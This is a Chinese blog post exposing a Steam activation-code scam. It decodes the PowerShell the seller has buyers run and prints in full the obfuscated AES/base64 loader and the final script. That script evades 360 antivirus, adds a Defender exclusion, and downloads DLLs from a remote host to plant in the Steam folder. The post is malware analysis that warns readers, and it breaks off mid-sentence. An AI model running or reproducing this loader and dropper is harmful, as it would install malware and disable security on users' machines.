早上闲着无聊刷小破站的时候看到一个up主的视频,不看不知道一看吓一跳啊,黑心商家真的是可恶。
商家是利用低价的激活吸引人购买,购买激活码后,打开官方兑换渠道是无法进行兑换的,商家会让你执行一段代码,执行代码后才能进行兑换!
看到要执行powershell那就要注意了,首先我们先看看那串代码是什么意思,我们来问问ChatGPT。
那么我们执行一下前面的代码,不执行后面的代码看看返回什么东西。
irm steam.work
可以看获取到一串powershell执行代码,解密它base64部分。
JAByAGUAZwB3AHEAYgBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAiAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACIADQAKACQAcgBoAGYAeABrAGUAegB1ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAHgAVgBmAEkAaABGAE8AeQA4ADAAbgB0AEcAUABoAGgATgBtAEkAaQBhADUAQgBVAHEAZgBBAFYAbgBlAEIARABaAGgASwB6ADMAZgBSAFYAYgB4AGgANABpAHEASwAyADQAYwBUAFQAYwBLAE8AVgAvADIATABpAFQAMQA5AEoATwBaAEwATwBuAGQAcABqAGEAYwBuAFkAOQB2ACsATwBGADAAUQBaAGoAQQBTAE0AcgBjADEAeABkAGcAdABrAGoAcQBBAHAARgBTAFoAYQBGADIAVQBHAFQAaAAxAGIAVQBFAFUAcQBFAEkAYwBSAEQAdQBNAEoAaQBoAGkAYwBJAG4AbgBJAFcAVQBpAEYAKwBjAEYANQBsAEcANwBoADEAMAB6ADEAbgBhAHgAUABoAGYAcgA1AEkAcQB6AEYAQQAxAGgAYwBvAEoANgBTAFEAMwBVAFIAbgBVADkAQwB4AHkASAAwAEEAcwB6AFcAMABJAFoAZgA4AGsARgBLAEUAQwBMAFEAbgBMAGkAdQB5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JABnAGkAYQBhAGkAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQANAAoAJABjAG4AdQBzAGsAZwBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAagBvAGkAcABoAHAALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkADQAKACQAYwBuAHUAcwBrAGcAYQBtAC4AQwBvAHAAeQBUAG8AKAAkAGcAaQBhAGEAaQB0ACkADQAKACQAdgBuAGQAagBzAHAAZQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABnAGkAYQBhAGkAdAAuAFQAbwBBAHIAcgBhAHkAKAApACkADQAKACQAYwBuAHUAcwBrAGcAYQBtAC4AQwBsAG8AcwBlACgAKQANAAoAJABqAG8AaQBwAGgAcAAuAEMAbABvAHMAZQAoACkADQAKACQAcgBlAGcAdwBxAGIAZQAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AKAAkAHYAbgBkAGoAcwBwAGUAbgBkACkADQAKAA==
解密后:
$regwqbe = New-Object "System.Security.Cryptography.AesManaged"
$rhfxkezu = [System.Convert]::FromBase64String("xVfIhFOy80ntGPhhNmIia5BUqfAVneBDZhKz3fRVbxh4iqK24cTTcKOV/2LiT19JOZLOndpjacnY9v+OF0QZjASMrc1xdgt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yJQvaG98s0jAgrFOtIAgmGBRz/RmvzOgM4+ruQNXyA+C4Ijwoe4tSBpRvkVCdr4QW8nEOPGhlOIl8UZv38UisqQzUeC+xVOaa4fPNkTDoM/XfSlhcJs8s4LRA/6WlEgQ53lBY7Myczu07Bp55Lqjy7dGgD6fRxNvd7/LX+AvAuT62+Ke33ySdIJqQDMoK1AdPWRMXLt6Id1mNgRTfOYA9FZYk/SM+cHErUOJdsj87IAg/qiodxl0HKLV1EGfBCJhVoG2P65gFVGT1QEjvx5w8fUJo9QHK4Pj0H6XKi5CbIViN16H0PY8dC7q5U9XJZRthfMPhcpoFrsU7KjRmCzwHu7opB5i2D473LcpIE7dJjPKAUflUWSw4N/QEj0DrcXNUjx0k52+GIkFX3zpvvhpauJ08rkNe7qMleXaqIZh4cZbip3Zl+VsbVulsJ8ErtwPSafhwF/qUIYdZ/5Qu+EVza7mBe1oOfKUv1zBeNgyH/MR1g5zMfiXiF54jMsrFHFriH9SjCIRQnqQkcXKI6TuThQ0Se37AzHf+0=")
$atvt = [System.Convert]::FromBase64String("hkdA0VhDg/YC4GeQ12rHb4ahi/6KnLO0YA1GbJ13lBU=")
$regwqbe.IV = $rhfxkezu[0..15]
$regwqbe.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$regwqbe.Mode = [System.Security.Cryptography.CipherMode]::ECB
$regwqbe.KeySize = 128
$regwqbe.Key = $atvt
$regwqbe.BlockSize = 128
$joiphp = New-Object System.IO.MemoryStream(,$regwqbe.CreateDecryptor().TransformFinalBlock($rhfxkezu,16,$rhfxkezu.Length-16))
$giaait = New-Object System.IO.MemoryStream
$cnuskgam = New-Object System.IO.Compression.GzipStream $joiphp, ([IO.Compression.CompressionMode]::Decompress)
$cnuskgam.CopyTo($giaait)
$vndjspend = [System.Text.Encoding]::UTF8.GetString($giaait.ToArray())
$cnuskgam.Close()
$joiphp.Close()
$regwqbe.Dispose()
Invoke-Expression($vndjspend)
然后我们再用chatgpt进行分析,好家伙继续套娃。
我们把Invoke-Expression($vndjspend)改成echo $vndjspend输出加密内容,然后powershell执行一下。
PowerShell.exe -ExecutionPolicy Bypass -File C:\Users\00\Desktop\66.ps1
好家伙还继续套娃,我们继续解,直到后面解开为止。
解开代码了,我们来看看它到底想干嘛!
Write-Host -NoNewline " _____ _____ _____ _____
_____ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \
/\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \
/::\____\ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue
Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::/ / \::/ / \::/ /
\::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \/____/ \/____/ \/____/
\/____/ `r" -ForegroundColor:blue
function Get-RandomString() {
param(
[int]$length=10,
# [int] ָ
[char[]]$sourcedata
)
for($loop=1; $loop -le $length; $loop++) {
$TempPassword+=($sourcedata | GET-RANDOM | %{[char]$_})
}
return $TempPassword
}
Start-Sleep 1
$tempLog = $env:TEMP+ "\log.txt"
try{
irm -Uri "https://hz-config.oss-accelerate.aliyuncs.com/help.txt" -OutFile $tempLog
}
catch{
Write-Host "NetWork Result-Error" -ForegroundColor:red
}
function PwStart() {
try
{
$steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDll'
$steamPath = $steamPath -replace "steamclient.dll","hid.dll"
if(Get-Process 360Tray* -ErrorAction Stop){
while(Get-Process 360Tray* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[0] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
elseif(Get-Process 360sd* -ErrorAction Stop)
{
while(Get-Process 360sd* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[1] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
else{
try{
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 1
if(Get-Process steam* -ErrorAction Stop){
TASKKILL /F /IM "steam.exe" | Out-Null
Start-Sleep 2
}
if (Test-Path $steamPath) {
Start-Sleep 1
del $steamPath
if (Test-Path $steamPath)
{
Remove-Item -Path $steamPath -Force
Start-Sleep 1
}
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "hid.dll","version.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "version.dll","user32.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "user32.dll","hid.dll"
Write-Host "ServerStart [OK]" -ForegroundColor:green
try
{
Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
Start-Sleep 1
# Set-MpPreference -SubmitSamplesConsent 0 -ErrorAction Stop
}
catch
{
}
Write-Host "Result[0] [OK]" -ForegroundColor:green
Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/PSH" -OutFile $steamPath -ErrorAction Stop
Write-Host "Result[1] [OK]" -ForegroundColor:green
$strfmt = -join ($env:LOCALAPPDATA,"\Microsoft\Tencent")
if ((Test-Path $strfmt)) {
rmdir -Recurse $strfmt | Out-Null
Start-Sleep 1
if ((Test-Path $strfmt)) {
Remove-Item -Path $strfmt -Force -Recurse | Out-Null
}
}
$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive")
if (!(Test-Path $strfmt)) {
md $strfmt | Out-Null
Start-Sleep 1
if (!(Test-Path $strfmt)) {
New-Item $strfmt -ItemType directory -Force | Out-Null
}
}
$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive\hid")
Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/hid" -OutFile $strfmt -ErrorAction Stop
Write-Host "Result[2] [OK]" -ForegroundColor:green
Start-Sleep 0.5
Start steam://
Write-Host (Get-Content $tempLog)[3] -ForegroundColor:green
Start-Sleep 5
exit
}
catch
{
Write-Host (Get-Content $tempLog)[2] -ForegroundColor:Red
}
}
}
catch{
Write-Host (Get-Content $tempLog)[4] -ForegroundColor:red
}
}
可以看到它直接把360给干掉,对一些dll文件进行修改和删除,估计想dll注入,我们把它oss的文件下载下来,丢入微步进行分析。
PSH文件直接报毒https://s.threatbook.com/report/file/0e346983d60d9eaac363993c09285609af7fa1a461c3fb92659dc7936f68cddd
HID文件还好,但是不排除